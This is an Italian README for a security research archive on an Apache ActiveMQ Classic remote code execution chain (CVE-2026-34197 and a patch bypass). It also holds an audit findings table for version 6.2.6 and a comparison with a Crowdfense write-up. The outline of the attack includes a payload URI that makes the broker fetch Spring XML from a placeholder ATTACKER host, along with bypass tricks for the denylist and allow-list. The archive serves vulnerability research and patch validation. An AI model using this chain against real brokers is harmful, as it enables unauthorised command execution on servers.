
Ricerca su RCE in Apache ActiveMQ Classic: catena di bypass CVE-2026-34197 / CVE-2026-42588 + risultati dell'audit di hardened-6.2.6 + confronto con Crowdfense
Archivio di ricerca privato per la catena di esecuzione remota di codice Jolokia → addNetworkConnector → xbean/Spring-XML Apache ActiveMQ Classic (CVE-2026-34197 e il suo bypass della patch CVE-2026-42588), più un audit completo di auto-ricerca della versione corretta 6.2.6 e un confronto affiancato con l'articolo pubblico di bypass di Crowdfense.
Tutto lo sfruttamento è stato eseguito contro broker di laboratorio locali (Docker / self-hosted). I payload utilizzano host attaccanti segnaposto.
| Dir | Fase | Cosa contiene |
|---|---|---|
00-comparison-vs-crowdfense.md | Confronto | Il nostro lavoro contro l'articolo "ActiveMQ RCE Bypass" di Crowdfense, verificato alla fonte file:linea |
01-original-cve-2026-34197/ | Riproduzione originale | Analisi + script PoC + payload Spring-XML (lab: activemq-classic:5.18.6) |
02-reaudit-apr30/ | Matrice delle versioni | uid=0 su 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; valutazione + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Bypass live | Bypass composito senza parentesi (42588) + XSS MessageServlet (42253), riprodotto live |
04-audit-6.2.6/ | Audit completo | Audit di auto-ricerca della versione rinforzata 6.2.6: report finale + registro delle scoperte |
Gli alberi sorgente e le distribuzioni binarie del vendor utilizzati durante i laboratori sono intenzionalmente esclusi (sono upstream, non nostri).
Un chiamante Jolokia autenticato (non autenticato su 6.0.0–6.1.1 tramite CVE-2024-32114) invoca BrokerView.addNetworkConnector(uri) con un URI di scoperta modificato il cui interno vm://…?brokerConfig=xbean:<url> costringe il broker a caricare un Spring XML controllato dall'attaccante, che istanzia avidamente un bean ProcessBuilder prima della convalida del broker → esecuzione di comandi del sistema operativo.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Titolo: tre scoperte sono provate live a root/XSS; l'audit 6.2.6 aggiunge un insieme più ampio che è verificato alla fonte e giudicato avversariamente, ma non ancora eseguito live. Nessuno degli extra di 6.2.6 è un nuovo RCE non autenticato — il vendor ha chiuso quelle porte; il rischio residuo si è spostato sull'autorizzazione e la codifica dell'output.
AIOOBE ordinale QoS MQTT (QoS.values()[ordinal], cross-protocollo, nessuna configurazione) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException di short con segno in unmarshal OpenWire · job immortale AMQ_SCHEDULED_REPEAT negativo.
Apache ActiveMQ RCE Bypass di Crowdfense copre la stessa catena (loro la archiviano sotto CVE-2026-34197; noi tracciamo il bypass come CVE-2026-42588 separato). Entrambi i resoconti convergono su una difesa a tre livelli; l'unica divergenza è il Livello 2.
L'unica lacuna: il loro trucco di percent-encoding al Livello 2 + UNC/WebDAV ottiene una consegna completamente remota senza primitiva di scrittura locale. Il difetto del classificatore che sfrutta (activemq-spring/Utils.java:123-129, un startsWith("file://") grezzo sulla stringa non decodificata) è presente nel nostro esatto sorgente — ma la parte remota è solo Windows (Linux tratta //host/share come un percorso locale), e il nostro laboratorio era Linux, quindi non era esercitabile lì. È morto su 6.2.6 comunque (il gate dello schema VMTransportFactory rifiuta xbean prima che Utils venga eseguito).
Follow-up: un Windows-hosted 5.19.6 (o qualsiasi build pre-5.19.7/6.2.6) + listener SMB/WebDAV ci permetterebbe di dimostrare il bypass completamente remoto dell'allow-list — l'unica capacità che l'articolo ha e che la nostra attività non ha mostrato.
Tre commit chiudono la catena: c1b44af11 (convalida URI compositi senza parentesi — parseComposite incondizionatamente + ricorsione), c2fc7a1d6 (blocca XBeanBrokerFactory per impostazione predefinita tramite l'allow-list dello schema VMTransportFactory), e be8415f24 (hardening della configurazione di esempio: Jolokia su loopback, lista di rifiuto delle operazioni con addNetworkConnector).
| ID | Scoperta | Classe | Gravità | Autenticazione | Prova |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | Critica | Post-autenticazione (non autenticato 6.0.0–6.1.1) | Live — uid=0 su 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Bypass URI composito senza parentesi della denylist 34197 | RCE (patch bypass) | Critica | Post-autenticazione | Live — uid=0 su 5.19.6 patchato 34197 + 6.2.0 |
| CVE-2026-42253 | Iniezione nell'header MessageServlet → XSS persistente | Iniezione / XSS | Media | Post-autenticazione | Live su 6.2.0 |
| ID | Scoperta | Classe | Gravità | Autenticazione | Note |
|---|
| C1 | static: lacuna nella denylist → SSRF — static assente da DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → broker TCP in uscita | SSRF | Media | Admin / JMX | Variante sink oltre la stessa denylist 34197/42588 coperta dall'articolo |
| B1 | Sottoscrizione durevole IDOR di cancellazione cross-clientId — removeSubscription si basa sul clientId fornito via cavo e non è controllato in AuthorizationBroker | Autorizzazione interrotta / IDOR | Media | Post-autenticazione (pre-autenticazione se l'autenticazione del broker è disattivata) | Il più pulito net-new |
| B3 | LDAP password vuota → bind anonimo (LDAPLoginModule, nessun controllo di vuoto) | Bypass autenticazione | Media (condizionata) | Pre-autenticazione | Condizionale sul fatto che la directory accetti bind anonimi |
| A1–A7 | Console famiglia di iniezioni di codifica dell'output — MessageId.textView controllato dall'attaccante (OpenWire v10+ e AMQP) non escapato attraverso ~7 sink JSP/REST + path-traversal FileSystemBlobStrategy | Iniezione | Bassa-Media | Produttore → admin | Limitato a iniezione HTML/contenuto tramite CSP per impostazione predefinita |
| B2 | Shiro WildcardPermission escalation di verbo tramite iniezione di due punti | Escalation privilegi | Bassa-Media | Post-autenticazione | Shiro non predefinito |
| B4 | Autorizzazione destinazione temporanea fail-open asimmetria rispetto a non-temporanea fail-closed | Autorizzazione interrotta | Bassa | Post-autenticazione | By-design (AMQ-4721); nota di hardening |
| B5 | StatisticsBroker replyTo salta write-ACL quando il plugin è ordinato prima dell'autorizzazione | Autorizzazione interrotta | Bassa | Post-autenticazione | Dipende dall'ordine di configurazione |
| B6 | Login certificato DN non canonico (getSubjectDN().getName()) → collisione di identità tra certificati della stessa CA | Autenticazione | Bassa | Pre-autenticazione (convalidato TLS) | "Qualsiasi certificato autofirmato" non funziona |
| B7 | JMSXUserID spoof quando populateJMSXUserID=false (il valore predefinito) | Spoofing | Bassa | Post-autenticazione | — |
| F5 | STOMP header-name in uscita mai escapato → iniezione di frame al sottoscrittore co-tenant | Iniezione | Bassa | Cross-protocollo | STOMP abilitato |
| Livello | Difesa | Crowdfense lo supera con | Noi lo abbiamo superato con |
|---|
| 1 | Denylist dello schema (fix 34197) | Composito senza parentesi static:vm://… | Stesso — trovato indipendentemente ✅ |
| 2 | Allow-list xbean {file,classpath} (#1910) | file:%2f%2f… percent-encoded → Windows UNC → WebDAV → recupero HTTP remoto | File locale xbean:/tmp/evil.xml (richiede scrittura locale) |
| 3 | Gate dello schema VMTransportFactory (broker,properties, il fix 42588 / 6.2.6) | Riconosciuto come il killer | Stessa conclusione ✅ |